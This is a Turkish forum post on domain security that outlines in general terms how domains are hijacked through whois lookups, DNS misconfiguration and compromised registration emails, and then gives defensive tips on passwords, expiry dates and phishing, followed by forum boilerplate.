Daha fazla detay için sitemde bulunan makalelerden faydalanabilirsiniz
(x-Master
biz > Makalelerim Modülü // x-Master – Cyber Warrior TIM)
Bunlar haricinde bir de
Domain Güvenliği
nden bahsetmemiz gerekiyor
Alan adı veya kısaca Domain, internette varolmak için başvurduğunuzda size verilen Internet Protokol adresinin bir görüntüsüdür
Diğer bilgisayarlar ile connection kurabilmek için bağlantıyı kuracak olan bilgisayarların IP adreslerinin tanımlanmış olması gerekir
Yani Internet ortamındaki bilgisayarlar ile iletişiminiz, size tayin edilen IP adresleri ile sağlanır
Bir kullanıcının, şirketinizin veya herhangi bir kurumun Web adresine girmek isteyen kullanıcının, şirkete tayin edilmiş olan IP adresini browser’a yazması gerekir
IP adreslerinin zihinde tutulması güç olduğundan dolayı, her IP adresine farklı bir alan adı tayin edilir
Tayin edilen bu alan adları domain adını alır
Bu sayede Browser’a girilecek olan web sayfasının IP adresi yerine, alan adı yazılarak girilir
İşte bu alan adları da domain adını alır
Hedef olarak seçilen bir sistemi tamamen ele geçirmenin en sağlam yolu Domain Hack’tir
Sisteminizi hedefleyen bir saldırgan, öncelikli olarak Whois Sorgulaması yapacaktır
Whois sorgulamasında Domain Registration Maili, irtibat Adresleri, gerçek e-Mail adresi, DNS bilgileri
vs gibi detayları görecektir
İşin kilit noktası da burasıdır
Bu bilgiler alındıktan sonra gelebilecek saldırılardan korunmak için;
Domain Hi-Jacking saldırılarından korunmak için temel yöntem tedbirdir
Şöyle ki; domain hacking’te temel yöntem registration e-mail hack’tir
Bu mail hacklendikten sonra, domainin tescil edildiği domain firmasından yeni şifre istenir
Ayrıca domainin geri alınmasını engellemek için zone transfer yapılır
Kısacası e-mail saldırısıyla eğer domaininiz alınırsa, bunu geri almak mümkün olmayabilir
Ayrıca şifre güvenliğini sağlamak için en garanti yol, zor şifreler seçmektir
Örneğin; şifrenizin 123456 olduğunu varsayalım
Saldırgan belli bir şifre kombinasyonunu baz alarak saldırı yapan Brute Attack programlarıyla, domain şifrenizi çalmaya çalışacağı zaman, daha ilk denemelerde bu şifreyi ele geçirebilir
Ama şifrenin %x-m4st3r?$x-Master% olduğunu düşünün
Böyle bir şifreyi deneme yanımlayla ele geçirme ihtimali hemen hemen yok gibidir
Whois sorgusunda DNS bilgilerini gören Attacker, DNS sorgulaması ($nslookup) yapacaktır
Burası çok önemli bir noktadır
Eğer konfigürasyon hatası yapılmışsa, Zone Transfer yapılabilir, Domain Hi-Jacking edilebilir
O yüzden bu noktaya dikkat edilmelidir
Domain’lerin her alanda güvenilir olduğuna inandığınız halde domaininiz el değişiyorsa, Date Expire tarihlerini kontrol edin
Unutmuş olduğunuz domain Date Expire tarihi dolduğu zaman, farklı bir kullanıcı domaininizi satın alabilir, legal olarak domain elinizden çıkmış olur
O yüzden bu detayı da atlamamak gerek
Web uygulamalarında Domain Güvenliğinin en büyük bölümünü oluşturan Registration Mail güvenliği, Domain’lerin hacklenmesinin çoğunluklu nedenidir
Bu nedenle Registration Mailinizi koruyabilmek için;
-> Meraklı olmayın
E-Mail’lerin ele geçirilmesinde yararlanılan bir diğer zaaf meraklılıktır hiç şüphesiz
Saldırgan size bir e-Mail yollayabilir
Bu e-Maillerde bir takım XSS kodları bulunabilir ve eğer kullandığınız e-Mail, hotmail
com gibi bir servisten alınmışsa Cookie bilgileriniz saldırganın eline geçebilir
Veya saldırganın gönderdiği e-Posta’da bir eklenti olduğunu varsayıyoruz
Bunu direk indirip açmak, aceleci davranmak, e-Mail hesabınızı kaybetmenize neden olabilir
-> Gizli sorularınızın cevabını alakasız yapın
Gizli sorularınızın cevabını, sorduğunuz soruya karşılık olacak şekilde değil de, bağlantısız bir şeyler yapmaya özen gösterin
Zira saldırganın, tahmin gücünü düşürmede etkili olacaktır
-> Sizden şifre soran hiçbir postayı yanıtlamayın
Unutmayın ki, hiçbir mail servisi sizden şifrenizi sormayacaktır
-> Size giriş yapmanız için sunulan sayfalarda ,browser’a bakın
Bu yolla sitenin kime ait olduğunu görebilirsiniz
-> Tanımadığınız kişilerden gelen dosyaları, mailleri açmayın ve mümkünse iyi bir güvenlik duvarı kullanın
Dantel
Mumsema
Frmacil
Tags
:
guvenligi
,
internet
İnternet Güvenligi ile ilgili Benzer Konular
237 Kez Görüntülendi
İnternet Işığı yanıyor Fakat İnternet Çok Zor Açıyor
Network ve İnternet
İnternet
Tatlı Sözlük
Windows System Güvenligi -E-book-
Genelbilgi ve İpucu
İnternet nedir? İnternet bize ne Sunar?
Network ve İnternet
İnternet Olmadan da İnternet
Konu Dışı Başlıklar
Yazdırılabilir şekli göster
Sayfayı E-Mail olarak gönder
-- English (US)
-- Türkce(TR)
İletişim
-
Anasayfa
-
Arşiv
-
Gizlilik Bildirimi
-
Yukarı git
Saat
02:22
.
Sayfalar
Rüyatadı
Mumsema
Frmacil
Etiket
Dantel
Modeller
Powered by vBulletin® Version 3.6.12 Copyright ©2000 - 2009, Jelsoft Enterprises Ltd.
Mail Adresimiz Forumalev(at)gmail
com
Moderatör Başvuru Formu
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553